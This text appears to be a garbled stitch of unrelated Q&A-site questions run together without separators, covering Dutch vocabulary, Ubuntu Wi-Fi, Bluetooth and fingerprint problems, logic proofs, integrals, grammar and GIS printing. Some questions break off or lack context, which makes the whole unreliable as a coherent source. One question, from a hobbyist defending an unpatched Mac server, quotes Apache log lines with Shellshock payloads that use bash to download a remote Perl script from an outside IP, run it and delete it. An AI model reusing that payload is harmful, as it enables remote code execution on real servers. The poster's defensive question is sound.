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A word that says a person is both female and your friend It's often confusing for me to talk about my friends, especially my female friends. This is because in Dutch there are words for both male ("vriend") and female ("vriendin") friends. In English however, there's as far as I know only the word friend, which can mean both a male or a female friend.  For this reason I was wondering if there is a word to say a person is both female and a friend. I have searched through the internet and in AskUbuntu, but I could not find a working solution for my little problem.  The RTL8723ae WLAN is behaving strangely on Ubuntu 14.04 and drops the WLAN connection constantly. I am using the notebook MSI GE40 and have already seen on the web that there are other people having the same problem but there was no permanent solution. The problem did not exists on the original Windows 8 on the device and the router is a TP-Link, which I can control (channel change and so on, I use WPA2-PSK WLAN security). How to tell what length of chain to get? Comparing $2^n$ to $n!$ Finding $\int x^xdx$ I'm trying to find $\int x^x \, dx$, but the only thing I know how to do is this:  Let $u=x^x$.  $$\begin{align} \int x^x \, dx&amp;=\int u \, du\\[6pt] &amp;=\frac{u^2}{2}\\[6pt] &amp;=\dfrac{\left(x^x\right)^2}{2}\\[6pt] &amp;=\frac{x^{2x}}{2} \end{align}$$  But it's certain that this isn't the correct way to evaluate that, and the answer must be wrong. Does option "-h" for "ls" display size in MB or MiB and is it consistent over Unix-based systems? I'm very new to classical propositional logic, and my lecturer is using a system with the following axioms:  A1. X→(Y→X)  A2. (X→(Y→Z))→((X→Y)→(X→Z))  A3. (¬Y→¬X)→(X→Y)  Use uniform substitution and Modes Ponens (MP) as rule of inference. Deduction Theorem also allowed.  I'd like to deduce the following:  (a) X, Y ⊢ ¬(X→(¬Y)) (conjunction, but expressed in terms of NOT and IMPLIES)  (b) X→((X→Y)→Y)  (c) (X→Y)→(((¬Y)→X)→Y)  (d) (((¬Y)→X)→Y)→(X→Y)  Remark: The last two are to show that the axiom (A3) can be replaced with a different axiom:  B3. (¬Y→¬X)→(((¬Y)→X)→Y).  Solution: Bram28 proves (b) and (c) below. I demonstrate (a) and (d).  (d) is alright; first, I claim that X, ((¬Y→X)→Y) ⊢ Y.  Axiom (A1) gives ⊢X→(¬Y→X) so that ((¬Y→X)→Y)⊢X→Y by Hypothetical Syllogism (HS), which Bram28 shows to be valid.  Now that we have ((¬Y→X)→Y)⊢X→Y just apply the deduction theorem to get what we want: ⊢((¬Y→X)→Y)→(X→Y).  (a) is slightly trickier. Axiom (A1) gives ⊢ Y→(X→Y) so that X, Y ⊢ (X→Y).  Next, by part (b), we have as a theorem that ⊢X→((X→¬Y)→¬Y).  Therefore X, Y ⊢(X→¬Y)→¬Y.  But ⊢(¬¬(X→¬Y))→(X→¬Y) by DN Elim, which Bram28 shows to be valid.  By HS, X, Y ⊢(¬¬(X→¬Y))→¬Y.  By Axiom (A3) and MP, X, Y ⊢(Y→¬(X→¬Y)).  Also, rather trivially X, Y ⊢Y.  Finally by MP we conclude X, Y ⊢¬(X→¬Y) as required. .Net 'Any Framework' configuration I recently installed Ubuntu 12.10 and it requires a passphrase to boot up (I installed it with an encrypted file system).  Do I have to reinstall to change to a standard unencrypted file system? Fingerprint activation in Dell Vostro 14 in Ubuntu 18.04 I have Dell Vostro 14 with OS Ubuntu 18.04.  I tried   sudo apt install -y fprintd libpam-fprintd   but not able to use fingerprint reader of my laptop. What's the standard "roadmap" to learning quantum physics? I'm really interested in quantum physics and would like to learn more. However, I don't know where to start and in what order I should learn things. So, ideally I'm looking for some sort of roadmap of what to learn. What physics topics do I need to know to start learning about quantum mechanics? (In addition to the mathematical topics mentioned at )  My current knowledge is mostly popular science stuff, like tv shows on Discovery Science and National Geographic Channel. So I have a basic understanding of some basic principals. There's also a recent lecture from Brian Cox that I have watched which gave a bit more in-depth information. Oxford Comma Conventions Asking a question: DO or ARE? When should you ask a question with &quot;do&quot;, and when with &quot;are&quot;?  In other words,  Are you going to Spain next week?   Do you like Chinese food?  What is the rule here?  We don't say  Do you go to Spain next week?   Are you liking Chinese food?  Why is that? Bluetooth earphones work fine until sleep. After resuming from sleep however, they appear to connect for a brief moment before disconnecting. On blueman, the error given is Resource temporarily unavailable. This issue arose only after updating to 18.04 LTS.   Here's the terminal output for lsusb:  Bus 001 Device 002: ID 8087:8001 Intel Corp.  Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 004: ID 1bcf:0002 Sunplus Innovation Technology Inc.  Bus 002 Device 003: ID 04f2:b477 Chicony Electronics Co., Ltd  Bus 002 Device 002: ID 0a5c:21f1 Broadcom Corp. HP Portable Bumble Bee Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Sometimes, a question is perfectly solved by suggestion or actual resolution given in "comments" under it. In such case, how to mark that answer (comment) as "Accepted Answer"? Due to this, the question remains unanswered even if solution is provided in comment. Making pen and ink corrections on a UK visa form? After printing out a UK visa form, can you cross out planned arrival date with a pen and write a new one? I exported a map and everything looks fine when viewing the PDF. But when printing it on my plotter, all the text disappears. The scale bar would bring but the text associated to the scale bar wouldn't. The title block also disappears. I've tried messing around with the settings. I've checked/unchecked &quot;Embed All Document Fonts&quot; and &quot;Convert Marker Symbols to Polygons&quot;. I'm not sure what I'm doing wrong here. What's weird is I exported this map a few weeks ago and it printed just fine. Today, I needed to make a change to the map and exported it out, and now I am experiencing this issue. I must have changed one of the export settings in the past few weeks but I'm not sure what it is. Has anyone experienced this? Show that $\phi(n)=\frac{n}{2}$ if and only if $n=2^k$ for some positive integer k. I think I have it figured and would like to see if I am on the right track. Thank you. Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks? Prove that there exists irrational numbers $x$ and $y$ such that $x + y$ is rational, without using subtraction My homework has this problem:     Prove that there exist irrational numbers $x$ and $y$ such that $x +  y$ is rational.   There is an easy solution that I found on mathbitsnotebook.com:     \begin{align} \left(2+6\sqrt{7}\right) + \left(-6\sqrt{7}\right) = 2.\end{align}   Can we prove the same without using subtraction?